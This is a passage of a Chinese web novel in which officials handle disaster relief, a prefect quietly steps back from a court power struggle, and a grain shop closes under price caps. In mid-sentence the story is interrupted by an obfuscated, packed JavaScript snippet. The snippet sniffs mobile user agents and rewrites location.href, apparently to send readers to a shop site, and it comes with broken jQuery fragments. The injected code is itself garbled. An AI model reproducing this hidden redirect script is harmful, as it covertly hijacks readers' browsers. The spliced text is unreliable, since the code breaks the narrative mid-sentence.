“你得留下。陈裕民一个人在这儿,我不放心。你替我看着他点儿。何况你身为司仓参军,掌管公廨物资调配,留下来合情合理。”
“官大一级压死人。你走了,我留着这儿受他的气。”
“张大人,你是那受气的人么。”李刺史揶揄笑道。
张涛眉毛一挑,也笑起来。
“况且,陈裕民是个处事低调的。有什么异样,立刻传信给我。”
张涛点点头,凑近:“那楚大人交代的,真不管了?会不会得罪人,况且,也太窝囊。”
李刺史缓缓放下茶盏,漂浮的茶叶悠悠下沉。
“做官么,哪有不窝囊的。”
及时抽身而退,他自有一番考虑。此次赈灾,皇帝没有委派朝中大臣,而是让一个驸马、甚至是越国质子负责,便是传递出一个信息——皇帝与宗室的斗争开始了。如何站队,门道颇深。站谁?何时站?
为官,做多错多,无为即有为。
他得知江彦到临川,不即刻接待,此为一试。宴请,以歌舞助兴,此为二试。粥棚闹事,此为三试。几番试探下来,他决定坐山观虎斗。
至于楚氏那边——搞砸赈灾,不论是引起民怨沸腾,还是明确站到皇帝对立面,对他有什么好处?自己的乌纱帽才最重要。
刺史,在建州是一把手,土皇帝,但于皇帝世家之争而言,不足挂齿。没能力站谁谁赢。那便,谁赢,他站谁。
*
情况交接完毕,李刺史启程回建州州府,处理州中公务,同时与临川密切联系。陈长史和几个下属作为州级代表驻扎临川。
“这个李刺史,尸位素餐,不做实事,不担责任,真是个装糊涂的高手。”上官青如此评价。
高凌月微微笑道:“也好,左右不与我们为难了。”
全权负责,同时意味着绝对权力,可以放开手做事。
以工代赈的方法实施下去,劳动力有事可做,有钱可挣,闹事的就少了。同时灾区重建的进程得以加快,安置点扩建后,灾民至少不用担心这个冬天会被冻死。
至于粮食的问题——
还是大白天,粮铺老板摘下牌子,就要关门。
“且慢!”江彦几步上前,“老板,今天怎么这么早就关门了?”
“不只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16697025|189004||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
是今天。本店彻底歇业了。”老板无奈长叹。
“为何?”铺子里明明还有存粮。上官青抓了一把米在手上,又任其从指缝漏掉。
“这些粮,都是我前些日子从走商那儿高价购来的,本想能卖个好价钱——”老板笑得讪讪,搓了搓手,“小本生意嘛。”
“结果,没卖个几天,官府开了粮仓,设施粥棚,之后甚至下令限制粮价。那价格,比我的进价还低!实话实说!我这亏本买卖,是真做不下去了。实在是没办法,宁愿关了铺子,另寻生路。”
*
书房。
“关于赈灾粮食不足的问题,我有一计。”江彦说。
“哦?”高凌月眉头一挑。
“如今,灾民情况基本稳定。可取消粮价限制。广贴告